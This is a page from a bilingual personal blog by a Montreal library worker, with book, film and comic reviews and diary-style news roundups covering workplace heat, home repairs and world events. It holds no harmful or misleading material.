Humour

Marabout

/ Clodjee / Leave a comment

“La bibliothèque de Parc-Ex, c’est la seule, dans tout Montréal, qui passe par une agence de sécurité pour demander aux enfants de faire moins de bruit. C’est une bibliothèques où la diversité ethnique ne concerne que le public, pas les travailleurs. Dix ans de Parc-Extension et je n’ai jamais vu de bibliothécaire noir. Faut croire que les Noirs ne savent pas ranger des livres.”

— Le marabout, Ayavi Lake, vlb éditeur 

Il faut croire que cette dame n’est pas très observatrice ou ne recherche pas les sujets dont elle parle. Ce simple paragraphe comporte de nombreuses erreurs:

  1. Plusieurs bibliothèques de la ville font appel à un service de gardes de sécurité privés. C’est nécessaire quand il y a des lecteurs agités ou violents, des groupes d’ados insolents ou des enfants mal élevés. Il y a des jours où c’est l’armée que j’appellerais…
  2. Les bibliothécaires, peut importe leur couleurs, ne placent JAMAIS de livres. Cette tâche est réservée aux sbires. Car dans la bibliothèque il n’y a pas que des bibliothécaires. Il y a aussi des gestionnaires, des technicien/nes (parfois rousses), des concierges, des commis, des sbires, des gardien/nes et mêmes de petites souris.
  3. La diversité ethnique ne se calcul pas seulement à la couleur visible de la peau… Comme il y a toujours un bon roulement dans le personnel d’une bibliothèque on y a vu ces dernières années une demi-douzaine de Latina, deux ou trois haïtien/es, une asiatique, une maghrébine, une grecque, quelques français/es et je suis sûr que j’en oubli. Bien sûr, pour être représentatif du quartier il y faudrait aussi un ou deux indo-pakistanais mais dans l’ensemble la proportion du personnel d’origine ethnique est assez bonne (certainement plus du quart et probablement moins de la moitié). Qu’est-ce, si ce n’est de la diversité?

On me dit que c’est quand même encore difficile pour quelqu’un avec un “nom étranger” d’obtenir un emploi à la ville (je suis sceptique) mais il y a certainement un effort envers la diversité. Un collègue haïtien trouve l’attitude de cette dame raciste. Je lui ai dit qu’il n’était probablement pas assez noir… (en tout cas du point de vue d’une africaine…) Moi, mes racines en ce pays descendent onze générations; ce n’est pas ma faute si je suis blanc, et je n’y peut rien même si j’ai épousé l’Orient…

La dame n’est sans doute jamais passé au bon moment. Ou bien elle a du ressentiment parce qu’elle a été mal servi (ça arrive même si le personnel fait toujours de son mieux). Ou alors elle s’était levé du mauvais pied et était un peu… marabout!

C’est bizarre de voir quelqu’un avec cette perception de la bibliothèque. J’ignore ce qui l’a amené à cette opinion et cela m’attriste qu’elle n’ai pas une meilleure appréciation de ce merveilleux lieu de savoir et de culture. C’est son droit. Je le respecte mais j’en suis triste. Quoique, après tout, cela n’est que de la fiction, n’est-ce pas?

[ Translate ]

Nos racines

/ Clodjee / Leave a comment

Familles souches (définition): Les descendants des premiers défricheurs (au temps où la terre était encore vierge, sauvage et pure, avant qu’il n’y ait des fibres synthétiques, quand la vie était pleine d’embûches…). La manque de diversité proviendrait-il du fait qu’ils faisaient de la coupe à blanc? 

[ Translate ]

Deadpool

/ Clodjee / Leave a comment

deadpool-posterA comedic take on the superhero movies (and particularly the X-Men). It offers the usual plethora of stunts and special effects, as well as the usual story [¡SPOILER! although it’s all in the trailer…]: mercenary boy is madly in love with girl, but has to leave her to go seek a cure for his cancer which turn him into a super-healing anti-hero with a new ugly face so he cannot come back to her but instead seeks revenge against the vilain who did that to him however in counter-action the bad guy kidnaps girl therefore he has to save her and they ends up back together in a happy ending but the guy remains a jerk.

It’s all rather ordinary but what’s distinguish this movie is the dialogues (actually, mostly the monologues, performed by Ryan Reynolds) which are rather funny. Frankly, the movie should have been titled “deadpan”… It’s another brainless action movie. Nothing serious (the good thing is that it doesn’t take itself seriously at all) but it offers some twisted entertainment. A fan-boy movie.

It is based on a Marvel comic book set in the X-Men’s universe. Despite being called vulgar, infantile, obnoxious, irreverent, etc., it was well received (mostly by  the comics book fans) with ratings of 84% / 90% on Rotten Tomatoes and 8.0 on IMDb ! Rated R…stars-2-5

To learn more about this title you can consult the following web sites:

[Amazon — Biblio — Google — IMDb — Official — Wikipedia — Youtube]

[ Traduire ]

Capsules

The Bill Murray Stories

/ Clodjee / 2 Comments

billmurraystoryApparently there are lots of stories on the internet about Bill Murray doing some crazy spontaneous things where he crashes a party or a wedding picture session, comes behind someone in a public toilet and puts his hands on the person eyes saying “No one will ever believe you”, or ends up doing the dishes in some kid’s apartment. He just shows up out of the blue, acts like he is just a normal guy (not a celebrity) but in a way that touches people’s life. Could those stories be true? That’s the question which Tommy Avallone asked himself and decided to make a documentary about it. 

The Bill Murray Stories: Life Lessons Learned From a Mythical Man is a documentary that retells those stories and interviews the people who experienced them. It really seems that most stories — at least those told in the documentary — are true and there is pictorial or video evidences to prove it. Avallone then goes on asking himself: why? Why someone like Bill Murray would do such things? To goof around? As a publicity stunt? Not at all. It is just who Bill Murray is. It is part of an improv thing and part of a life philosophy (something like taoism or zen). He just like to live in the moment and make people happy.

Personally, I am just wondering what makes people wake up in the morning and decides to make a documentary about Bill Murray. You are in movie school and need to do one as an assignment? Or really want answers to those questions and decide to just films everything and try to make money out of it? Or you just have the “reporter” gene in your blood? I guess someone should make a documentary about that.

It’s not a very good documentary (it’s clumsy, particularly toward the end, and I dislike when someone makes a documentary about themselves looking for something) but I enjoyed it because I not only learned a lot about who is Bill Murray, but it was also quite entertaining (lots of funny anecdotes and movie excerpts). It reminds me of this book that I once saw in the library: The Tao of Bill Murray: Real-Life Stories of Joy, Enlightenment, and Party Crashing, by Gavin Edwards and R. Sikoryak, which was basically asking the same questions. [ Amazon / Goodreads / Library ]

Apparently, Bill Murray is quite an interesting person. But whether you are interested or not, whether you like documentaries or not, it doesn’t matter: if you just take the moment to watch this sixty-seven minutes movies you will certainly enjoy it. And maybe, maybe, you’ll take something out if it and wonder, like me, could I ever be that spontaneous and really live in the moment? stars-3-0

To learn more about this title you can consult the following web sites:

[ Amazon — Google — IMDb — Netflix — Rotten Tomatoes — Wikipedia ]

[ Traduire ]

Capsules

Notable News (w42-w53)

/ Clodjee / Leave a comment

It has been a little more than two months since the last entry of our journal. The weather has been relatively gray, since we’ve had very little snow so far, as it was—more often than not—rain and freezing rain, and lots of ups and downs in the temperature. The most notable events on the domestic front included a strange saga over the video of a panel at the book fair, where I also attended the launch of Solaris #208 and did a capsule interview with Catherine Sylvestre. We had again a problem of flicker in our electricity (strangely only on one side of the house), so bad that one night I thought my apartment had become a disco! Finally, we found the source of the problem (old wirings) and hired an electrician for a temporary fix but we will have to change the electrical entry in spring.

Somehow my sister’s cats managed to start the shower while she was on vacation. It lasted about twenty minutes before we realized that water was dripping from my bathroom’s ceiling. Luckily this small flood was relatively contained but we had to mopped the floor for a couple of hours in the middle of the night. The damage is limited but we will have to redo our bathroom’s ceiling…

The work-place was not too much a strain on my mental health, beside the continuing problem with the ventilation and heating system (strangely when this happens at another library of the borough they close immediately while we have to endure and work in very unpleasant conditions—that’s so unfair!) and some dubious decision on age classification of some mangas (Bride Stories, Nausicaa & Mafalda for kids! Are you joking?)!

readings2018Apple announced new Macs and iPads. We attended the vegan fest again, visited the Book of Hours and the Calder exhibits. I reached my reading goal for the year (fifty books! But, as usual, it was mostly comics and mangas). This allowed my to comment on  a few books (C Comme Cthulhu, Le Chat du Rabbin 8, Isabella Bird 3, Nous rêvions de robots, Pline 6, Ross Poldark, and a book about the New Yorker’s cartoons). I also wrote about the works (bande dessinée) of Philippe Gauckler: Convoi, Prince Lao and Koralovski. Unfortunately, I still watch too much TV and movies (A place to call home season 6, Mars season 2, Murder on the Orient Express, Outlaw King, Picnic at Hanging Rock, RBG, Solo, Transformer: The Last Knight, Traverlers season 3). Finally, I took some time to reminisce about the fanzine era and the old Protoculture days.

2018blogstatsI just completed my first year with WordPress.com so I don’t have much basis to compare this year’s statistics (although I remember that with Internic’s hosting I had ten times more traffic so either they were calculating it differently or I lost some followers in the switch or WordPress is not promoting the traffic as well). There is also a slight difference between WordPress’ and StatCounter’s numbers. Anyway, in 2018 I posted 319 entries (a 16% increase), acquired 68 followers and received (if we round up a little) an average of a thousand views per month or 350 visitors per month (about 135 returning visitors per month). It is not as much as I would I’ve liked but it is a beginning. The most important is that it keeps increasing from month to month. I’ll keep improving the blog and (hopefully) writing more so it will be at its best when I retire and make it my main occupation (in about 3064 days!). 

doonesbury-20181021

Doonesbury (2018/10/21)

On the world stage, the months of November and December had their lots of typhoon, floods, wildfires, tsunami, and violent protests in France, but it is mainly the U.S. Mid-term elections that retained the attention. In reaction to Trump’s insane White House, people went to the ballot with numbers not seen in nearly a century allowing the Democrats to retake the House by electing many young candidates, including several women (95), members of racial minorities (two Muslim and two Native Americans) or of the LGBT! Space exploration was also in the news as we landed another probe on Mars, explored more asteroids and mini-planets, and China landed a probe on the far-side of the moon.

All in all, 2018 was a very challenging year for everyone, so let’s hope that 2019 will be much better.

Through all this I tried to stay acquainted with the affairs of the world and gathered a few notable news & links — which I now share with you (in both french or english, slightly categorized, but in no particular order — note that, to save on coding time, the links will NOT open in a new window as usual), after the jump.

[ Traduire ]
Continue reading →

The Complete Cartoons of The New Yorker

/ Clodjee / Leave a comment

CompleteCartoonsNewYorker-covI acquired this phenomenally huge book in a sale earlier this fall and I paid only fifteen dollars for it. I have always liked the single-panel cartoons (often referred to as “gag cartoon”, in the likes of what you find in the series “For Dummies”, or in Herman or Bizarro, and, of course, in newspapers’ editorial cartoons) and the most iconic of those could be found in the magazine The New Yorker. So I was quite pleased with this acquisition. However, it is the type of nightstand book that you savour slowly and it took me a couple of months to go through its 655 pages and over 2,000 cartoons (about two weeks of actual reading). Unfortunately the used copy I purchased did not include the two CDs with all 68,647 cartoons ever published in the magazine (if so it would have taken me much more time to read!).

A New Yorker cartoon is usually made of one drawing (but sometimes of the sequence of two or three), plus a funny caption. Most of the time all the humour is in the caption… Here are some examples:

 

The cartoons are organized into the eight decades during which the magazine was published (from its founding in 1925 until the publication of the book in 2004) and each period is introduced by an essay by one of the magazine’s most distinguished writers: 1925-34 (introduction by Roger Angell), 1935-44 (Nancy Franklin), 1945-54 (Lillian Ross), 1955-64 (John Updike), 1965-74 (Calvin Trillin), 1975-84 (Ian Frazier), 1985-94 (Mark Singer) and 1995-2004 (Rebecca Mead). The book starts with an Editor’s Note by Robert Mankoff and a Forword by David Remnick, and concludes with an index of Artists.

In addition, for each era, you find a brief overview of a predominant theme (the depression, drinking, nudity, television, cars, the space program, slipper dogs, business culture, the internet and politics) as well as a brief profile (including a mini-portfolio) for a key cartoonist (Peter Arno, George Price, James Thurber, Charles Adams, William Steig, Saul Steinberg, George Booth, Jack Ziegler [about whom I’ve already talked], Roz Chast, and Bruce Eric Kaplan).

In a way, this book chronicles the history of the magazine, but also the history of the American society. Therefore, it is much more than just a funny reading as it provides great insights and understanding of the socio-politics of each era.

For me, the cartoons were funny most of the time (not LOL, but a chuckle or quiet giggle), but I also often didn’t get it (particularly the older ones — I guess culture change with time or the context was lost to us as sometimes you needed to be there to understand). However, I enjoyed reading this book immensely. If you have a chance, it is worth the time and therefore highly recommended. stars-3-5

To learn more about this title you can consult the following web sites:

[ Amazon — Biblio Mtl — Goodreads — Google — Wikipedia — WorldCat ]

[ Traduire ]

Capsules

C Comme Cthulhu

/ Clodjee / Leave a comment

C_Comme_Cthulhu-cov“Vous tenez entre vos mains C comme Cthulhu, un abécédaire inspiré de l’oeuvre d’Howard Philips Lovecraft. Si ces créations sont indicibles, cet ouvrage est la preuve qu’on peut en revanche les dessiner avec autre chose que de la bave de shoggoth. Les parents peuvent enfin partager leur passion avec leurs larves… euh… leurs enfants, et apprendre en jouant à se faire peur. Sans risquer de devenir fous. Peut-être chèvre (aux mille chevreaux) sur les bords, mais pas fou.” [Texte de la couverture arrière]

J’ai découvert cet album tout-carton en lisant le commentaire de Karine sur Mon Coin Lecture. Un album pour tout-petits basé sur la mythologie lovecraftienne! C’était trop intriguant: il fallait que je vois ça de moi-même. Alors je me le suis réservé sur le site des bibliothèques de la Ville de Montréal. Et voilà! Je vous le commente donc pour l’Halloween…

Comme vous le savez tous, un abécédaire est un livre illustré servant à apprendre l’alphabet aux enfants en se servant d’associations mnémoniques entre une lettre, un mot qui commence par celle-ci et un dessin qui représente ce mot. Pour rendre la chose amusante les éditeurs de livres et les éducateurs font souvent preuve de beaucoup d’imagination et, dans le cas de ce livre-ci, parfois à l’excès!

C_Comme_Cthulhu-D-E

Avec C Comme Cthulhu, l’alphabet se décline selon l’univers de H.P. Lovecraft: Alhazred (l’auteur fou du Kitab al-Azif, a.k.a. Necronomicon), Bêêêêê (le cri présumé de Shub-Niggurath, la chèvre noire aux mille chevreaux), Cthulhu (l’inconcevable prêtre des Grands Anciens), Dagon (un autre Grands Anciens, dieu poisson), Écritures Ponapes (texte mythique de R’lyeh), Frissons, Goules, Hastur (un autre Grand Ancien tentaculaire), Innsmouth (ville du Massachusetts où se déroule les cauchemars), John Raymond Legrasse (un inspecteur dans L’Appel de Cthulhu), K’n-yan (territoire sous-terrain en Oklahoma), Lovecraft (Dâ!), Miskatonic (rivière maudite qui donne son nom à l’Université d’Arkham), Necronomicon (le livre occulte qui rend fou), Olmstead (Robert Olmstead, le narrateur dans Le Cauchemar d’Innsmouth), Providence (ville natale de Lovecraft), Q’yth-Az (l’Intellect Crystalloïde, un autre Grand Ancien), R’Lyeh (la cité engloutie), Shoggoth (monstres gélatineux créés par les Anciens), Tiare de Dagon, Ulthar (Contrées du Rêve, peuplée de chats), Vigilant, West (Herbert West, le réanimateur original), Xiurhn (serviteur des Outer Gods), Yog-Sothoth (le Gardien d’entre les Mondes), et finalement Zombies (eh, y-a pas de zombies dans la mythologie de Lovecraft!). Wow!

C_Comme_Cthulhu-N-O

C’est amusant et les illustrations sont “cute” mais est-ce vraiment un album pour tout-petits? A quel public ce livre s’adresse-t-il? J’ai compris quand j’ai vu que le livre est publié par Bragelonne, un éditeur français dédié aux littératures de l’imaginaire (SF, Fantastique, Fantasy). Mais c’est une traduction, publié à l’origine en anglais par ComixTribe en décembre 2014. Il semble que C Is for Cthulhu soit un phénomène en soi, puisqu’il y toute une entreprise créant toutes sortes de produits sur le thème de Lovecraft (livres, t-shirts, toutous, etc). C’est donc un livre à l’intension de geeks, ou plutôt à l’intension des enfants de geeks! Qui ne veut pas apprendre à lire à ses enfants en les introduisants très jeunes à la mythologie de Lovecraft! 

C Comme Cthulhu n’est vraiment pas pour tout le monde. Mais moi j’ai adoré. Cela reste toutefois une curiosité. 

C comme Cthulhu : l’abécédaire Lovecraft, écrit par Jason Ciaramella et illustré par Greg Murphy (traduit par Alain Névant). Paris: Bragelonne, novembre 2016. 26 pp. 14.90 € / $24.95. ISBN: 979-10-281-0152-7. Pour lectorat de 4 ans et plus (!). stars-3-0

[ Amazon — Biblio — Goodreads — WorldCat ]

[ Translate ]

Pictorial chronicle

/ Clodjee / Leave a comment

Déroutante erreur / Baffling system error

Baffling error message

“Une exception non gérée s’est produite dans un composant de votre application. Si vous cliquez sur Continuer, votre application va ignorer cette erreur et essayer de continuer. La collection a été modifiée; l’opération d’énumération peut ne pas s’exécuter.”

Voici un étrange message d’erreur apparu sur un poste au travail aujourd’hui. Le libellé en français ne fait guère de sens… mais, bon, nous n’en sommes pas à une absurdité près…

[ Translate ]

Le Guide du Mauvais Père (4)

/ Clodjee / Leave a comment

Guide_du_mauvais_pere_4-covToujours aussi parentalement incorrect, Guy Delisle retrouve son rôle préféré : meilleur (mauvais) papa du monde ! Sa recette : une bonne dose de mauvaise foi, des colères importunes, un tas de gamineries et surtout BEAUCOUP d’humour !

Défier son fils aux jeux vidéo quand il travaille, oublier sa fille dans un magasin et lui faire croire le contraire, parler à ses enfants de sa vie merveilleuse d’étudiant… quand ils n’existaient pas… Guy Delisle, un mauvais père ? Non, un auteur de bande dessinée qui sait puiser l’imagination là où elle se trouve, avec un sens aigu de l’observation et une bonne dose d’autodérision.

[ Texte du site de l’éditeur; voir aussi la couverture arrière ]

Guy Delisle nous fait encore rigoler avec son alter-égo qui représente le summum du mauvais parent: distrait, égocentrique et enfantin. Il s’agit de quatorze petites histoires d’en moyenne un douzaine de pages chacune (entre dix et dix-huit pages): Coup de blues, La dent III, La signature, Au magasin, Compétition, Sortie scolaire, Le jeu, Une histoire, Les invités, Savoir résister, Le test, Un petit film, Le placard, Tunnel of life.

Somme toute c’est quand même très similaire aux trois premier volumes. Je suppose qu’il y a une limite à étirer la sauce avec toujours le même genre d’histoires inspirées de son quotidien. C’est pourquoi ce quatrième volume sera sans doute le dernier. Dans la dernière histoire, Tunnel of Life, le père s’amuse bien avec les enfants dans un parc d’attraction mais se rend compte soudainement que ceux-ci ont grandit (Alice a maintenant 11 ans et Louis 14 ans) et n’ont plus autant le goût du jeu…

À travers cette série (et la plupart de son oeuvre) Delisle réussit le tour de force de raconter des histoires complexe et riches en émotions de façon très succincte et avec un trait de crayon très simple. C’est un livre amusant (et terrifiant à la fois) mais, avec en moyenne deux dessins par page, cela se lit plutôt vite. C’est tout de même une bonne lecture, légère, pour le transport en commun ou la salle d’attente.

Page 5
Page 6
Page 7
Page 8

Le Guide du Mauvais Père 4, par Guy Delisle. Paris, Éditions Delcourt (Coll. Shampooing), juin 2018. 18 x 13 x 1.75 cm, 192 pg., 9,95 € / $15.95 Can. ISBN: 978-2-413-00280-2. Recommandé pour public adolescent (12+). stars-3-0

Pour plus d’information vous pouvez consulter les sites suivants:

[ Amazon — Biblio — Goodreads — Google — Wikipedia — WorldCat ]

Voir aussi mes commentaires sur les trois premiers volumes:

Le Guide du Mauvais Père © Éditions Delcourt, 2018.

[ Translate ]

Capsules

Notable News (w23-w31)

/ Clodjee / Leave a comment

Since the last update, over two months ago, so much has happened. 

On the domestic front, it seems that I ran out of karma points because a series of unfortunate events kept happening to me, including frustratingly bad customer service experiences: I had trouble getting my bag of weekly flyers delivered, after eight long months the contractor finally came to finish the landscaping work in the backyard so I could work (hard) to set up the garden, and then the water heater broke down! Everything was just a big pain in the ass! I ended up so stressed and distressed by the whole ordeal that I forgot to do the accounting and pay the bills! This had never happened to me in fifteen years!

UltraBlinking

Out of energy !

However, that was not the end of it. Work is usually a real nut house where we have to run around like crazy, doing absurd stuff. Under normal circumstances it is already demoralizing and exhausting. But we had to go at it during a heat wave, for a whole week! We had a few days of respite and then, the air conditioning broke down—for another week! We were working at temperature between 27° C and 30° C, with relative humidity of 50-55% ! If you calculate the humidity factor (the way that it’s normally done on weather channels) it felt like working at temperature between 35° C and nearly 40° C ! (Of course, according to the charts used by management, it was barely over 33° C and we shouldn’t even brake a sweat! For them it was just uncomfortable conditions!). Damn it, we are working in a library, not a sweat shop! Management brought huge fans, but if you move hot air, it is still just hot air — in a very noisy environment. 

If it was just working at a desk with a fan in the face it would probably be tolerable, but we are standing up and moving around a lot to serve customers (lending, shelving and processing books, etc.) — contrary to what most people believe it is a very physical work. At my age and with my health I cannot work in such conditions for a long duration. One day, I was tired and feeling dizzy (the head-librarian had already left and a couple of colleagues were not feeling well either) so I decided to also leave work early. We were threatened of “consequences” (disciplinary measures) by management for doing so. We endured for the rest of the week, but, in the end, I couldn’t take it anymore, I was exhausted (completely out of energy), having sore throat, migraine and ear ache, so I took a day off.  I just don’t get it: why’s this obstinacy to force employees to work in unbearable conditions? Where is decency and respect of the workers? That’s what upsets me the most: absurd decisions and disrespect… I get it that there is nothing in the labor law (health & security) that prevent work in extreme heat conditions, but it is just common sense and thoughtfulness not to subject your employees to such suffering! Then again, why should I be surprised of such contempt for the workers?

At the same time, I had to deal with some garden theft which became “the sunflowers’ affair” and evolved into a real saga. Finally, as I was ready to blow a gasket, my blood pressure medication was recalled due to contamination with a potential carcinogen (the generic version is made in China, no wonder)! I had trouble at first to get the pharmacy to replace it for free, but now there is a class-action lawsuit being organized…

Japon instantané

My mind elsewhere !

Thankfully, there was a few positive events to brighten my mood, like an occasional trip to the botanical garden or the park, Apple announcing their incoming new operating systems (iOS 12 and macOS 10.14 Mojave) or finally being able to finish watching the latest seasons of Poldark and McMafia. Strangely, as I handled all the bad karma with relatively great zen, I managed to write comments on quite a bunch of stuff (books, TV series and movies): The Dark Tower, The Terror, Crapule, American Made, Victoria & Abdul, Un simple monde, Le chat du louvre 1-2, Black Panther, Isabella Bird: femme exploratrice 1-2, Alien Resurrection & Alien: Covenant, Pline 5, Ad Astra 4-5, Justice League, Batman v Superman, Jumanji, Giacomo Foscari 1, Nos yeux fermés, Your name., In this corner of the world, and The Mummy. Fortunately, reading (or alternatively watching TV) and writing (comments, rants or even poetry) is a great help to bring my mind elsewhere!

On the world stage, we saw the usual fires, floods, volcanoes, storms, kids trapped in a cave, a couple of summits (G7 & North Korea), the World Cup, water was found on Mars and each day kept bringing more Trump insanities. If I wouldn’t know better I could think that Trump is the antechrist and that the end of the world is near! But, no, it’s just our daily lives in the 21st century… I just don’t understand: in 1953 the Rosenberg were tried and executed simply for spying for the Soviets; now, some politicians conspired with the Russians to interfere in the U.S. elections, make their own businesses profits, as well as contribute to undermine western democracies and absolutely NO uproar is being made about it? Delirant isti americani !

Through all this I did my best to stay (sane?) acquainted with the affairs of the world and gathered over two hundreds notable news & links — which I now share with you (in both french or english, slightly categorized, but in no particular order — note that, to save on coding time, the links will NOT open in a new window beyond this point), after the jump.

[ Traduire ]

Continue reading →

Crapule

/ Clodjee / Leave a comment

Crapule-cov“Crapule est un petit chat noir, maigre, aux yeux jaunes et globuleux. Dans son appartement vit aussi une jeune humaine célibataire et citadine. Ensemble, ils vont vivre de merveilleux moments insignifiants.”

[ Texte de la couverture arrière; voir aussi le site de l’éditeur ]

J’ai une collègue qui me recommande souvent des histoires de chats. Voici l’une de ses suggestions…

Crapule-p007Crapule est une bande-dessinée européenne de petit format (6 1/2 x 8 po) en deux couleurs (noir et bleu pâle) qui nous offre cent-vint-cinq petites histoires en quatre cases mettant en scène un chaton timide et malicieux. S’étant fait donner par sa mère le chaton de sa voisine décédée, une jeune citadine célibataire doit donc prendre soins dudit chaton pertinemment nommé Crapule. Il est capricieux dans sa nourriture, fait de nombreux dégâts, il est blessant, empêche sa nouvelle propriétaire de bien dormir, etc., mais il peut être aussi rigolo et, à l’occasion, adorable. Alors qu’il court partout dans l’appartement, elle s’exclame “J’appelle qui? Un vétérinaire ou un exorciste?” Enfin, si vous avez un chat, vous comprendrez.

Les BDs avec des anecdotes de chats sont plutôt nombreuses (le manga Chi, le web comic Simon’s Cat, ou la BD québécoise L’ostie d’chat pour ne nommer que ceux là) et celle-ci ne se distingue pas vraiment par son originalité. Par contre, si le dessin est relativement simple, il est très expressif et le récit est tout de même amusant et parfois attendrissant. À lire pour les amateurs de chats.

Crapule, par Jean-Luc Deglin. Paris: Dupuis, novembre 2017. 128 pages, 20.8 x 16.7 cm, 14,50 €  / $25.95 Can (ePub / PDF $19.99 Can). ISBN 978-2-8001-7400-6. Pour lectorat jeune (6+). Extraits disponible sur le site de l’éditeur. stars-3-0

Vous trouverez plus d’information sur les sites suivants:

[ Amazon — Biblio — Goodreads — Google — WorldCat ]

© Dupuis 2017. Touts droits réservés.

[ Translate ]

Notable News (w13-w22)

/ Clodjee / Leave a comment

In the last couple of months (ten weeks!), there was really nothing new on the domestic front. The same old routine. Spring finally came, the air warmed up and (after a little icy setback) the buds started to open, quickly blossoming into a late summer. I experienced, again, some health problems which kept my moral down for a while. I had my old computer repaired and finally got a new one, which meant lots of hardware and software installations, reorganizing the working area, etc., which made many onomatopoeias come to mind (Aauugh!, *whimper*, *Phew*).

PearlsBeforeSwine-20180106I tried to apply to a couple of new jobs in order to get out of the nut house where I works but with no luck. To make things worse, the company we hired to repair the balcony & backyard keeps dragging their feet and nothing seems to get going. I want to prepare the garden for the summer but will we be able to do any gardening? My life seems on hold. I have many new project ideas to keep me busy but there’s so little time, so many things to think about and to do, all at the same time, that’s overwhelming, mind-crushing, depressing even…

I spent so much energy running like crazy at work (and for a whole week the temperature in the library was between 24 and 28 ºC!), coming back completely exhausted, hoping for a new job (or some sort of fairy god-mother intervention), waiting on the contractor (I took some vacation in order to rebuild the garden after the works would be done, but I feel I wasted my time…), stressing about health problems, reorganizing my computers and my network (extending ethernet to compensate for Bell’s weak wi-fi for example) that I really didn’t read or write much. Again, getting caught with life so much that… I forgot to live! It seemed that time was slipping through my fingers like sand. I felt (and still feel) tired all the time…

When I am at work I feel miserable but, when I am at home and look at this house — this little and comfortable nest, or safe-house, we have set-up for ourselves — I feel pretty good and content. I have everything I need and could ask for (okay, maybe not that marble bust of Lucius Virus or a more quiet and pleasant job — but, who knows, it might come someday). So, I have no real reason to be unhappy (beside watching the news, of course). I just have to tell myself that, again and again, and repeat it,  each time I have to face the darkness…

However, I was not completely idle. I wrote a little (commenting on Le secret des vietnamiennes, Venise and Bug, as well as a few movies). I also attended the Congrès Boréal, went to Ottawa to watch tulips and to the annual book sales of the libraries (so far I bought a few novels and about thirty-five manga!). Unfortunately, I mostly kept myself entertained: I finished to watch The Durrells, some old favourites TV series like Homeland or The Expanse, and tried some quite excellent new series like the remake of Lost in Space, Little Women or The Good Karma Hospital. I even discovered a new TV service, BritBox, but haven’t had time to try it yet.

PearlsBeforeSwine-20180111On the world stage we find the usual disasters: Trump ramping and raving (blaming everyone but himself), floods here, volcano there, many more sexual scandals, ups and downs in North Korea, war looming in the Middle East (Gaza, Iran), add another ebola epidemic, or an occasional school shooting and you have the picture. But there are also some good news, like a very Royal Wedding! [See detailed day by day events for April and May]

Through all this I tried to stay acquainted with the affairs of the world and gathered a few notable news & links — which I now share with you (in both french or english, slightly categorized, but in no particular order — note that, to save on coding time, the links will NOT open in a new window as usual), after the jump.

[ Traduire ]

Continue reading →

Notable News (W07 – W12)

/ Clodjee / 1 Comment

In the last five weeks, nothing much happened on the domestic front. The weather slightly improved each weeks (now it’s mostly above zero, although the east coast kept being hit by one  nor’easter after another!) and the sun feels much better (warmer) since we switched to daylight saving time as it sets much later now. The snow is melting. The job is as tiring and frustrating (absurd) as ever, but I think I am dealing better with it. Zen and all (trying not to give a f*ck).

I got my DNA testing results from 23&me and it is rather disappointing. I am genetically boring: one hundred per cent europeans and no variants detected for major health issues (save a higher risk for macular degeneration and celiac disease). The physical traits reports are hits and misses. I still have to read everything in details, but I feels it is more amusing than really useful.

I didn’t write much (although I did a few good comments on What the Health, An inconvenient sequel, Le chat du rabbin 7, Reine d’Égypte vol. 1 and vol. 2-3, on Kim Thuy’s conference and her book Ru) because I have been constantly busy trying to solve multiple problems. I have the feeling that nothing works properly anymore! Everything seems buggy: the WiFi, the blog, the computer (at home and at work), and even the electricity (causing the lights to flickers almost constantly, turning off and on the TV or the computer)! Is the world starting to slowly brake down all over? The entropy! The entropy! Seriously, if all this is a simulation (or a dream) slowly shutting down, maybe a reboot would wake me up? Or maybe not. But this constant fighting to maintain the cohesion of the universe is getting tiresome (if not unbearable, yet).

I called Hydro Q and the flicker stopped (for now). Tried to install network extenders but Bell’s wifi is till shitty (neither Apple Airport or Netgear worked; should I try another brand? More pods? To be continued…). The computer finally died (there was a problem with File Vault being on but the main problem was the hard drive after all) and is now at the repair shop. My desk feels empty and working in the salon on a combination of Mac-mini (which I normally use as a media center) and iPad, is rather uncomfortable. I am planing to purchase a Macbook soon… But I wasted so much time doing all this… it is frustrating.

In the news, the world doesn’t seems in a much better shape. More Trump-related scandals (Cambridge Analytica, Stormy Daniels, he fires Tillerson and McMaster, tease trade war and impose tariffs on steel & aluminum — mostly for China, proposed talks with North Korea, etc.), more school shooting this time at Marjory Stoneman Douglas High in Parkland (Florida), serial bombing in Texas, another democrats’ victory in Pennsylvania slowly tips the scale, emboldened Russians assassinated a couple of former spies in Britain (one with a nerve agent!), Steven Hawking died, etc. The good news is that the students from Parkland are old enough to become activists (#NeverAgain) and, for some, to vote in the mid-term election in November! An end to this nightmare really seems possible…

Anyway, as usual, I managed to stay a little acquainted with the affairs of the world and gathered many notable news & links — which I now share with you (in both french or english, slightly categorized, but in no particular order — note that, to save on coding time, the links will NOT open in a new window as usual), after the jump.

[ Traduire ]
Continue reading →

Le chat du rabbin, vol. 7: La Tour de Bab-El-Oued

/ Clodjee / 2 Comments

Chat_du_Rabbin-v7-cov“Ce nouvel épisode nous ramène à Alger. Le rabbin Sfar et son cousin l’imam Sfar devisent sur leurs différences qu’ils pensent inconciliables. Pourtant, lorsque la mosquée est inondée, le rabbin et l’imam s’entendent pour que les musulmans puissent, le temps des travaux, prier à la synagogue. Pendant ce temps, le chat du rabbin traverse des moments difficiles: non seulement Zlabya a mis au monde un adorable bébé, ce qui le plonge dans une profonde jalousie, mais, pour ne rien arranger, des chatons se sont réfugiés dans la synagogue… Comment de petits chats étrangers peuvent-ils avoir l’audace de boire son lait ?”

[ Texte du site de l’éditeur — voir aussi la couverture arrière ]

ATTENTION: Peut contenir des traces de “divulgâcheur” [spoilers]! Les personnes allergiques à toutes discussions d’une intrigue avant d’en avoir eux-même pris connaissance sont vivement conseillées de prendre les précautions nécessaires pour leur sécurité et devraient éviter de lire plus loin.

Continuez la lecture après le saut de page >>

Continue reading →

Notable News (W43 – W06)

/ Clodjee / 1 Comment

So much happened in the last four months (since the last notable news entry), that I wouldn’t know where to start. I’ll try to recall the highlights, but I’ll try to be brief.

On the domestic front we had a bout of extreme cold (while in the opposite hemisphere they had the hottest weather in nearly eight decades!). For the rest of the time we had the (now) usual cycle of freeze (snow) / defreeze (rain) with more snow than usual (at least more than last year; 195 cm so far). At work it is the usual hell, but I guess I came to term with it, becoming more zen (i.e. no giving a f**k) but I am still set into trying to find another job (in a quieter library, some place closer to home, maybe some desk job but I would rather prefer to keep working with books).

My blog was hacked and I finally made a move to a proper WordPress hosting. It is still a work in progress (still lots of repair to do), but I am now very satisfied with the look of the new blog. Of course, I’ve been more busy working on the blog itself and I didn’t write as much as I would have liked (but, still, I kept busy with some reviews, an essay on the art of reviewing and some articles like a biographical notice, a bibliography update, indexes, etc).

